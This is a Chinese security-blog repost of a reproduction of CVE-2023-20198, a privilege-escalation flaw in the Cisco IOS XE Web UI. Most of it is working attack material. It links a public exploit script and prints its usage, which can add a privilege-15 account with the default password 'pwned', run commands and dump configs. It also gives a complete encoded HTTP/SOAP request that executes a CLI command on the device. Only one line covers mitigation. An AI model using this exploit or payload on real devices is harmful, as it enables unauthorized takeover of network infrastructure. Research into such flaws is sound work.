利用脚本：
https://github.com/smokeintheshell/CVE-2023-20198usage: exploit.py [-h] (-t targetIP | -l targetFile) [-https] (-c | -g | -e command | -a | -d) [-u newUserName] [-p newUserPass] [-o outputFile] [-v]CVE-2023-20198 Exploit PoCoptions:-h, --help show this help message and exit-t targetIP Target IP Address-l targetFile File containing IP Addresses (-c only)-https Use https-c [X] Check for vulnerability-g [X] Get Cisco IOS running config-e command [X] Execute Cisco IOS command-a [X] Add new priv 15 user-d [X] Remove priv 15 user-u newUserName [Optional] user name for -a or -d. Default: shellsmoke-p newUserPass [Optional] new user pass for -a. Default: pwned-o outputFile Write output to file-v Increase verbosity
POST /%2577eb%2575i_%2577sma_Http HTTP/1.1Host: x.x.x.xUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:126.0) Gecko/20100101 Firefox/126.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 723<SOAP:Envelope xmlns:SOAP="http://schemas.xmlsoap.org/soap/envelope/" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <SOAP:Header> <wsse:Security xmlns:wsse="http://schemas.xmlsoap.org/ws/2002/04/secext"> <wsse:UsernameToken SOAP:mustUnderstand="false"> <wsse:Username>admin</wsse:Username><wsse:Password>*****</wsse:Password></wsse:UsernameToken></wsse:Security></SOAP:Header><SOAP:Body><request correlator="exec1" xmlns="urn:cisco:wsma-exec"> <execCLI xsd="false"><cmd>uname -a</cmd><dialogue><expect></expect><reply></reply></dialogue></execCLI></request></SOAP:Body></SOAP:Envelope>
python3 exploit.py -t vul_ip -c 
python3 exploit.py -t vul_ip -g
no ip http server或no ip http secure-server命令来禁用HTTP服务器功能。
|
原文始发于微信公众号（幽荧安全）：漏洞复现 Cisco IOS XE Web UI 权限提升漏洞复现（CVE-2023-20198）
免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论